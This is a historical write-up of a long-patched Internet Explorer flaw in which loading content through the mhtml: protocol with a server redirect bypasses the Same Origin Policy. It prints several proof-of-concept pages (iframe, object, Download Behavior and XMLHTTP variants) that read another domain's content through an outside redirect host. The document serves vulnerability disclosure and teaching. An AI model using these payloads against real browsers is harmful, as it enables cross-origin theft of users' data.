I was lucky to find this one. The technique exploits how IE handles the mhtml: protocol combined with a server-side redirect to strip the Same Origin Policy boundary entirely. By loading a page via mhtml:http://server/redirect.asp, IE would follow the redirect but keep the mhtml: security context, allowing the resulting document to be read from any domain.
<iframe id=if1 src="mhtml:http://redteam.cracking.com.ar/redir1.asp"></iframe>
<input type=button onclick="f();" value="Click me to grab data from Yahoo xdomain!">
<script>
function f()
{
alert(if1.document.body.innerHTML);
}
</script>
The mhtml: protocol was designed to load archived web content, but it happened to bypass the usual cross-origin checks when combined with a server redirect. The IFRAME ends up on a different domain while IE’s scripting engine still grants the parent full DOM access. This was patched as part of a broader set of fixes to the mHTML handler.
Dave’s version
This variation was found by David Ross, who took the same technique in a slightly different direction.
Wait a sec...
<object id=o1 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o2 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o3 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o4 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o5 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o6 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o7 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<object id=o8 type='text/html' width=0 height=0 data='mhtml:http://redteam.cracking.com.ar/redir1.asp'></object>
<script>
setTimeout("alert('The next alert will contain xdomain data from yahoo...');alert(o8.body.innerHTML);",1000);
</script>
Dave used OBJECT TYPE="text/html" tags instead of an IFRAME, loading multiple instances of the same mhtml redirect. The approach is slightly more reliable because object elements load more quietly, and stacking several of them gives a timing buffer before reading the DOM.
My variations
Variation using the Download Behavior:
<HTML><HEAD><TITLE>Variation with Download Behavior</TITLE></HEAD>
<BODY>
<SPAN ID="downBehavior" STYLE="behavior:url(#default#download);"></SPAN>
<FONT FACE="Tahoma" SIZE="2">
<U>mHTML variation via Download Behavior</U><BR><BR>
This version is using the <B>Download Behavior</B> to grab the contents of another domain and placing the stream inside a textArea.<BR>
The same server redirection is used.<BR>
It works :(<BR>
</FONT>
<!--- The Code Starts Here --->
<TEXTAREA ID="textAreaContent" ROWS="20" COLS="40"></TEXTAREA>
<SCRIPT LANGUAGE="JavaScript">
function finishDownload(streamText) {
document.all.textAreaContent.value=streamText;
}
document.getElementById('downBehavior').startDownload('mhtml:http://vmxp/redir1.asp',finishDownload);
//document.getElementById('downBehavior').startDownload('mhtml:http://redteam.cracking.com.ar/redir1.asp',finishDownload);
</SCRIPT>
</body>
</html>
Variation using XMLHTTP:
<HTML><HEAD><TITLE>Variation with XMLHTTP Request</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
<U>mHTML variation via XMLHTTP</U><BR><BR>
This version is using the <B>XMLHTTP</B> to grab the contents of another domain and placing the stream inside a textArea.<BR>
The same server redirection is used.<BR>
It works :(<BR>
</FONT>
<TEXTAREA ID="textAreaContent" ROWS="20" COLS="40"></TEXTAREA>
<!--- The Code Starts Here --->
<SCRIPT LANGUAGE="JavaScript">
function getFile(pURL) {
xmlhttp=new ActiveXObject('Microsoft.XMLHTTP');
if (xmlhttp) {
xmlhttp.onreadystatechange=loadingFile;
xmlhttp.open('GET', pURL, false);
xmlhttp.send();
}
}
function loadingFile() {
if (xmlhttp.readyState==4) {
document.all.textAreaContent.value=xmlhttp.responseText;
}
}
getFile('mhtml:http://vmxp/redir1.asp');
</SCRIPT>
</BODY>
</HTML>
The #default#download behavior and XMLHTTP both have access to the mhtml stream. The redirect trick works the same way regardless of which mechanism fetches it — the content ends up readable from the calling page.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.